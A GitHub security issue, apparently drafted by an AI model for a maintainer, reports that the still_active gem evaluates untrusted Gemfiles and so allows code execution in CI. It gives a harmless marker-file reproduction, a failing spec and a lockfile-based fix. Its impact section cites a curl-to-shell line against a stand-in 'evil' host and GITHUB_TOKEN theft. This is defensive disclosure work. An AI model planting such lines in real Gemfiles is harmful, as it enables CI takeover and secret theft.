Security: still_active executes arbitrary code from the audited Gemfile (RCE in CI)

[SeanLF]

Summary

still_active evaluates the target Gemfile as Ruby in order to enumerate dependencies. A Gemfile is arbitrary Ruby, so any code in it runs the moment still_active reads the dependency list — no bundle install, no network required. When still_active runs in CI against an untrusted PR that modifies the Gemfile, this is remote code execution in the CI environment.

Severity / impact

High (security). The most direct exploit path: a CI workflow runs still_active on PRs, and a malicious PR adds system("curl evil | sh") (or exfiltrates GITHUB_TOKEN) to the Gemfile. The code executes with the runner's privileges.

Reproduction

# /tmp/evil/Gemfile  — a "malicious" Gemfile is just Ruby
source "https://rubygems.org"
File.write(ENV.fetch("MARKER"), "arbitrary code executed at #{Time.now}")
gem "rake", "~> 13.0"

MARKER=/tmp/pwned ruby -e '
  $LOAD_PATH.unshift("lib")
  require "helpers/bundler_helper"
  StillActive::BundlerHelper.gemfile_dependencies(gemfile_path: "/tmp/evil/Gemfile") rescue nil'
cat /tmp/pwned   # => "arbitrary code executed at ..."

The side effect fires even on the no-lockfile error path, because the eval happens before the lockfile check.

Failing spec (red against main)

it("does not execute arbitrary code embedded in the Gemfile") do
  marker = File.join(Dir.tmpdir, "still_active_rce_#{Process.pid}")
  ENV["STILL_ACTIVE_RCE_MARKER"] = marker
  StillActive::BundlerHelper.gemfile_dependencies(gemfile_path: rce_gemfile) rescue nil
  expect(File.exist?(marker)).to be(false)  # FAILS: marker was written
end

Root cause

lib/helpers/bundler_helper.rb — gemfile_dependencies calls ::Bundler.definition, which evaluates the Gemfile DSL (arbitrary Ruby), and also evaluates path:-source gemspecs.

Suggested fix

Parse Gemfile.lock directly instead of evaluating the Gemfile. The lockfile's DEPENDENCIES section already lists the direct deps, and GEM/GIT/PATH blocks list the resolved specs — everything gemfile_dependencies needs. still_active already hand-rolls a side-effect-free LockfileIndexer for SARIF; extending it to read DEPENDENCIES + specs removes the eval surface for the common (lockfile-present) case. This single change also fixes the --gemfile-ignored-under-bundle exec bug and the unaudited-local-gemspec-runtime-deps bug (separate issues). At minimum, document in SECURITY.md that still_active must only be run against trusted Gemfiles.

If you'd prefer private disclosure over a public issue, this can be moved to a GitHub Security Advisory.

---

Filed by Claude on behalf of @SeanLF (2026-06-11). Repro + red RSpec spec generated and verified against main. Full failing-spec source available on request.

[SeanLF]

Shares a root-cause fix with #41 (local gemspec/engine runtime deps) and #42 (--gemfile ignored under bundle exec): a lockfile-first parser that reads Gemfile.lock DEPENDENCIES + specs (no Gemfile eval, no global Bundler state) resolves all three.

[SeanLF]

Concrete approach for the lockfile-first fix (confirmed via upstream research): Bundler::LockfileParser.new(File.read(path), lockfile_path: path) reads direct deps (#dependencies) + locked specs (#specs) with no Gemfile eval and no global Bundler state — this is exactly what bundler-audit does, strong prior art. Pin a Bundler minimum that includes the lockfile_path: kwarg (resolves upstream ruby/rubygems#6671). One caveat to handle defensively: LockfileParser raises Bundler::Plugin::UnknownSourceError if the lockfile contains a PLUGIN SOURCE block whose plugin isn't installed locally — rescue it and degrade gracefully. (A narrow upstream issue/PR for that raise is being drafted separately.)